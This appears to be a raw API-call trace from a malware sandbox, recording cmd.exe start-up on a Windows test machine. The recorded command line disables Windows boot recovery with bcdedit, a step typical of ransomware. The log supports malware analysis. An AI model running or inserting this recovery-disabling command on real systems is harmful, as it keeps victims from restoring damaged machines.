_get_osfhandle (_FileHandle=0) returned 0x3 [0058.396] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0058.396] _get_osfhandle (_FileHandle=0) returned 0x3 [0058.396] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0058.396] GetEnvironmentStringsW () returned 0x7f2030* [0058.397] GetProcessHeap () returned 0x7e0000 [0058.397] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xaca) returned 0x7f2b08 [0058.397] FreeEnvironmentStringsW (penv=0x7f2030) returned 1 [0058.397] GetProcessHeap () returned 0x7e0000 [0058.397] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x4) returned 0x7f0c60 [0058.397] GetEnvironmentStringsW () returned 0x7f2030* [0058.397] GetProcessHeap () returned 0x7e0000 [0058.397] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xaca) returned 0x7f35e0 [0058.397] FreeEnvironmentStringsW (penv=0x7f2030) returned 1 [0058.397] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41edac | out: phkResult=0x41edac*=0x68) returned 0x0 [0058.397] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x0, lpData=0x41edb8*=0x0, lpcbData=0x41edb0*=0x1000) returned 0x2 [0058.397] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x4, lpData=0x41edb8*=0x1, lpcbData=0x41edb0*=0x4) returned 0x0 [0058.397] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x0, lpData=0x41edb8*=0x1, lpcbData=0x41edb0*=0x1000) returned 0x2 [0058.397] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x4, lpData=0x41edb8*=0x0, lpcbData=0x41edb0*=0x4) returned 0x0 [0058.397] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x4, lpData=0x41edb8*=0x40, lpcbData=0x41edb0*=0x4) returned 0x0 [0058.398] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x4, lpData=0x41edb8*=0x40, lpcbData=0x41edb0*=0x4) returned 0x0 [0058.398] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x0, lpData=0x41edb8*=0x40, lpcbData=0x41edb0*=0x1000) returned 0x2 [0058.398] RegCloseKey (hKey=0x68) returned 0x0 [0058.398] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41edac | out: phkResult=0x41edac*=0x68) returned 0x0 [0058.398] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x0, lpData=0x41edb8*=0x40, lpcbData=0x41edb0*=0x1000) returned 0x2 [0058.398] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x4, lpData=0x41edb8*=0x1, lpcbData=0x41edb0*=0x4) returned 0x0 [0058.398] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x0, lpData=0x41edb8*=0x1, lpcbData=0x41edb0*=0x1000) returned 0x2 [0058.398] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x4, lpData=0x41edb8*=0x0, lpcbData=0x41edb0*=0x4) returned 0x0 [0058.398] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x4, lpData=0x41edb8*=0x9, lpcbData=0x41edb0*=0x4) returned 0x0 [0058.398] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x4, lpData=0x41edb8*=0x9, lpcbData=0x41edb0*=0x4) returned 0x0 [0058.398] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41edb4, lpData=0x41edb8, lpcbData=0x41edb0*=0x1000 | out: lpType=0x41edb4*=0x0, lpData=0x41edb8*=0x9, lpcbData=0x41edb0*=0x1000) returned 0x2 [0058.398] RegCloseKey (hKey=0x68) returned 0x0 [0058.398] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e2d [0058.398] srand (_Seed=0x5e423e2d) [0058.398] GetCommandLineW () returned="cmd.exe /c bcdedit /set {default} recoveryenabled No" [0058.398] GetCommandLineW () returned="cmd.exe /c bcdedit /set {default} recoveryenabled No" [0058.398] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.399] GetProcessHeap () returned 0x7e0000 [0058.399] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x210) returned 0x7f2030 [0058.399] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7f2038, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0058.399] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.399] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0058.399] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0058.399] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0058.399] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0058.399] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0058.399] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0058.399] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0058.399] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0058.399] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0058.399] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0058.399] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0058.399] GetProcessHeap () returned 0x7e0000 [0058.399] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f2b08 | out: hHeap=0x7e0000) returned 1 [0058.399] GetEnvironmentStringsW () returned 0x7f2248* [0058.399] GetProcessHeap () returned 0x7e0000 [0058.399] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xae2) returned 0x7f4ba8 [0058.400] FreeEnvironmentStringsW (penv=0x7f2248) returned 1 [0058.400] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.400] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0058.400] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0058.400] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0058.400] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0058.400] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0058.400] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0058.400] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0058.400] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0058.400] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0058.400] GetProcessHeap () returned 0x7e0000 [0058.400] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x54) returned 0x7f5698 [0058.400] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41fb78 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x41fb78, lpFilePart=0x41fb74 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41fb74*="Desktop") returned 0x25 [0058.400] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0058.400] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41f8f4 | out: lpFindFileData=0x41f8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x7f1eb0 [0058.400] FindClose (in: hFindFile=0x7f1eb0 | out: hFindFile=0x7f1eb0) returned 1 [0058.400] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41f8f4 | out: lpFindFileData=0x41f8f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x7f1eb0 [0058.400] FindClose (in: hFindFile=0x7f1eb0 | out: hFindFile=0x7f1eb0) returned 1 [0058.401] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0058.401] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x41f8f4 | out: lpFindFileData=0x41f8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x7f1eb0 [0058.401] FindClose (in: hFindFile=0x7f1eb0 | out: hFindFile=0x7f1eb0) returned 1 [0058.401] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0058.401] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0058.401] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0058.401] GetProcessHeap () returned 0x7e0000 [0058.401] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f4ba8 | out: hHeap=0x7e0000) returned 1 [0058.401] GetEnvironmentStringsW () returned 0x7f40b8* [0058.401] GetProcessHeap () returned 0x7e0000 [0058.401] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xb36) returned 0x7f5ef8 [0058.401] FreeEnvironmentStringsW (penv=0x7f40b8) returned 1 [0058.401] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.401] GetProcessHeap () returned 0x7e0000 [0058.401] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f5698 | out: hHeap=0x7e0000) returned 1 [0058.401] GetProcessHeap () returned 0x7e0000 [0058.401] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x400e) returned 0x7f6a38 [0058.402] GetProcessHeap () returned 0x7e0000 [0058.402] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x60) returned 0x7f2d88 [0058.402] GetProcessHeap () returned 0x7e0000 [0058.402] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f6a38 | out: hHeap=0x7e0000) returned 1 [0058.402] GetConsoleOutputCP () returned 0x1b5 [0058.402] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0058.402] GetUserDefaultLCID () returned 0x409 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x41fcb8, cchData=128 | out: lpLCData="0") returned 2 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x41fcb8, cchData=128 | out: lpLCData="0") returned 2 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x41fcb8, cchData=128 | out: lpLCData="1") returned 2 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0058.403] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0058.403] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0058.404] GetProcessHeap () returned 0x7e0000 [0058.404] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x0, Size=0x20c) returned 0x7f2df0 [0058.404] GetConsoleTitleW (in: lpConsoleTitle=0x7f2df0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.405] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0058.405] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0058.405] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0058.405] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0058.405] GetProcessHeap () returned 0x7e0000 [0058.405] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x400a) returned 0x7f6a38 [0058.405] GetProcessHeap () returned 0x7e0000 [0058.405] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f6a38 | out: hHeap=0x7e0000) returned 1 [0058.406] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0058.406] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0058.406] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0058.406] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0058.406] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0058.406] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0058.406] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0058.406] GetProcessHeap () returned 0x7e0000 [0058.406] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x58) returned 0x7f3008 [0058.406] GetProcessHeap () returned 0x7e0000 [0058.406] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x18) returned 0x7f3068 [0058.407] GetProcessHeap () returned 0x7e0000 [0058.407] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x4e) returned 0x7f3088 [0058.407] GetConsoleTitleW (in: lpConsoleTitle=0x41f9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.408] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0058.408] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0058.408] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0058.408] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0058.408] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0058.408] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0058.408] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0058.408] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0058.408] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0058.408] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0058.408] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0058.408] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0058.408] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0058.408] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0058.408] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0058.408] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0058.408] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0058.408] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0058.408] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0058.408] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0058.408] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0058.409] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0058.409] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0058.409] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0058.409] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0058.409] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0058.409] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0058.409] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0058.409] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0058.409] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0058.409] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0058.409] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0058.409] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0058.409] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0058.409] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0058.409] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0058.409] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0058.409] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0058.409] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0058.409] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0058.409] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0058.409] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0058.409] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0058.409] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0058.409] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0058.409] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0058.409] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0058.409] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0058.409] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0058.409] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0058.409] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0058.409] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0058.409] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0058.409] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0058.410] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0058.410] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0058.410] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0058.410] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0058.410] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0058.410] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0058.410] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0058.410] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0058.410] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0058.410] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0058.410] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0058.410] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0058.410] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0058.410] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0058.410] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0058.410] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0058.410] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0058.410] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0058.410] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0058.410] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0058.410] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0058.410] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0058.410] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0058.410] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0058.410] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0058.410] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0058.410] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0058.410] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0058.410] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0058.410] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0058.410] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0058.410] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0058.410] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0058.411] GetProcessHeap () returned 0x7e0000 [0058.411] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x210) returned 0x7f30e0 [0058.411] GetProcessHeap () returned 0x7e0000 [0058.411] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x5e) returned 0x7f32f8 [0058.411] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0058.411] GetProcessHeap () returned 0x7e0000 [0058.411] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x418) returned 0x7e07f0 [0058.411] SetErrorMode (uMode=0x0) returned 0x0 [0058.411] SetErrorMode (uMode=0x1) returned 0x0 [0058.411] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7e07f8, lpFilePart=0x41f4d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41f4d0*="Desktop") returned 0x25 [0058.411] SetErrorMode (uMode=0x0) returned 0x1 [0058.411] GetProcessHeap () returned 0x7e0000 [0058.411] RtlReAllocateHeap (Heap=0x7e0000, Flags=0x0, Ptr=0x7e07f0, Size=0x64) returned 0x7e07f0 [0058.411] GetProcessHeap () returned 0x7e0000 [0058.411] RtlSizeHeap (HeapHandle=0x7e0000, Flags=0x0, MemoryPointer=0x7e07f0) returned 0x64 [0058.412] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.412] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0058.412] GetProcessHeap () returned 0x7e0000 [0058.412] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x120) returned 0x7f3360 [0058.412] GetProcessHeap () returned 0x7e0000 [0058.412] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x238) returned 0x7e0860 [0058.418] GetProcessHeap () returned 0x7e0000 [0058.418] RtlReAllocateHeap (Heap=0x7e0000, Flags=0x0, Ptr=0x7e0860, Size=0x122) returned 0x7e0860 [0058.418] GetProcessHeap () returned 0x7e0000 [0058.418] RtlSizeHeap (HeapHandle=0x7e0000, Flags=0x0, MemoryPointer=0x7e0860) returned 0x122 [0058.418] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0058.418] GetProcessHeap () returned 0x7e0000 [0058.418] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xe0) returned 0x7f3488 [0058.419] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f24c) returned 0xffffffff [0058.419] GetLastError () returned 0x2 [0058.419] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f24c) returned 0xffffffff [0058.419] GetLastError () returned 0x2 [0058.419] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f24c) returned 0xffffffff [0058.420] GetLastError () returned 0x2 [0058.420] 